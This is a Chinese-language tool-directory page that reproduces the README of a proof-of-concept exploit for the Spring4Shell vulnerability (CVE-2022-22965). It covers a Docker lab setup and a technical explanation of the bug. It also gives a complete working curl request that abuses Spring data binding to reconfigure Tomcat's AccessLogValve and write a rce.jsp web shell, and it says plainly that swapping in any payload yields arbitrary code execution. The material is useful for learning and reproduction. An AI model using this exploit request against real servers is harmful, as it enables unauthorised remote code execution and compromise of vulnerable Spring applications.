Skip to content
KitploitKITPLOIT
工具博客
Log in
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2022-22965-PoC — CVE-2022-22965 (Spring4Shell) 的概念验证漏洞利用代码,展示了通过操控 Tomcat AccessLogValve 实现远程代码执行。包含基于 Docker 的复现环境及详细技术分析。 | Kitploit
工具/GitHubGitHub/kirill89/cve-2022-22965-poc
Payload生成漏洞分析漏洞利用Web应用程序漏洞利用渗透测试学习与教育
GitHubkirill89/cve-2022-22965-poc

CVE-2022-22965-PoC

CVE-2022-22965 (Spring4Shell) 的概念验证漏洞利用代码,展示了通过操控 Tomcat AccessLogValve 实现远程代码执行。包含基于 Docker 的复现环境及详细技术分析。

查看仓库
322114年前Kitploit 审核通过

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2022-22965 PoC

使用最小示例演示如何复现 CVE-2022-22965 Spring RCE。

使用 Docker Compose 运行

  1. 使用 Docker Compose 构建应用程序
    docker-compose up --build
    
  2. 若要测试应用,请访问 http://localhost:8080/handling-form-submission-complete/greeting
  3. 运行漏洞利用脚本
    ./exploits/run.sh
    
  4. 该漏洞利用脚本将在 Web 服务器的 webapps/handling-form-submission-complete 目录下创建 rce.jsp 文件。
  5. 使用该漏洞 访问 http://localhost:8080/handling-form-submission-complete/rce.jsp

替代方式(面向调试)

  1. 在 Docker 中运行 Tomcat 服务器

    docker run -p 8888:8080 --rm --interactive --tty --name vm1 tomcat:9.0
    

    如需远程调试,可添加 -p 5005:5005 -e "JAVA_OPTS=-Xdebug -agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=*:5005"

  2. 构建项目

    ./mvnw install
    
  3. 部署应用

    docker cp target/handling-form-submission-complete.war vm1:/usr/local/tomcat/webapps
    
  4. 执行漏洞利用

    curl -X POST \
      -H "pre:<%" \
      -H "post:;%>" \
      -F 'class.module.classLoader.resources.context.parent.pipeline.first.pattern=%{pre}iSystem.out.println(123)%{post}i' \
      -F 'class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp' \
      -F 'class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/handling-form-submission-complete' \
      -F 'class.module.classLoader.resources.context.parent.pipeline.first.prefix=rce' \
      -F 'class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=' \
      http://localhost:8888/handling-form-submission-complete/greeting
    

    该漏洞利用将在 Web 服务器的 webapps/handling-form-submission-complete 目录下创建 rce.jsp 文件。

  5. 使用该漏洞

    curl http://localhost:8888/handling-form-submission-complete/rce.jsp
    

    现在你将在容器终端中看到 123。将 System.out.println(123) 替换为你的 payload 即可执行任意代码。

简短技术说明

  1. Spring 知道如何将表单字段绑定到 Java 对象。在我们的示例中,GreetingController 处理 /greeting 端点的 POST 请求,并将表单字段绑定到 Greeting 对象。
  2. 它还支持绑定嵌套字段(例如 user.info.firstname)。请参阅 AbstractNestablePropertyAccessor 以获取参考。
  3. 在我们的示例中,Greeting 类有两个字段 id 和 content,但实际上它也有对 Class 对象的引用。我们可以使用 class.module.classLoader 作为表单数据键来访问类加载器。
  4. 在修复中,我们可以看到主要变化是限制了对 Class 对象大多数属性的访问,包括 module 属性。
  5. 这种行为允许我们设置从 Greeting 类通过嵌套引用链可达的类的公共属性。仅此而已。在大多数情况下,这甚至不危险,因为即使从 class.module.classLoader. 也无法获得具有公共字段的类。
  6. 在 Tomcat 服务器上这成为了一个问题,因为那里的类加载器有一个 getResources 访问器,它允许我们继续引用链并访问 AccessLogValve 类 的实例之一。
  7. 这个类用于写入日志。我们更改一些属性,使其写入文件名和内容由我们控制的文件。此时我们拥有了任意文件写入的能力。
  8. 我们在应用根目录下创建一个带有恶意 payload 的 jsp 文件。由于 Tomcat 会自动执行 jsp 文件,我们可以在浏览器中访问它并最终执行 payload。现在就是 RCE(远程代码执行)了。

条件

该漏洞利用仅适用于 Tomcat,因为它具有特殊的类加载器。尽管类似的引用链也可能存在于其他 Web 应用服务器上,但目前尚未轻易发现。

该漏洞利用需要 Java 9 或更高版本,因为 module 属性是在 Java 9 中引入的。

参考

  • 服务端部分基于 https://gist.github.com/esell/c9731a7e2c5404af7716a6810dc33e1a 的逐步指南。
  • 漏洞利用部分基于 https://github.com/BobTheShoplifter/Spring4Shell-POC/blob/0c557e85ba903c7ad6f50c0306f6c8271736c35e/poc.py 脚本。
  • Snyk 关于此漏洞的公告可在此处获取:https://security.snyk.io/vuln/SNYK-JAVA-ORGSPRINGFRAMEWORK-2436751
下载工具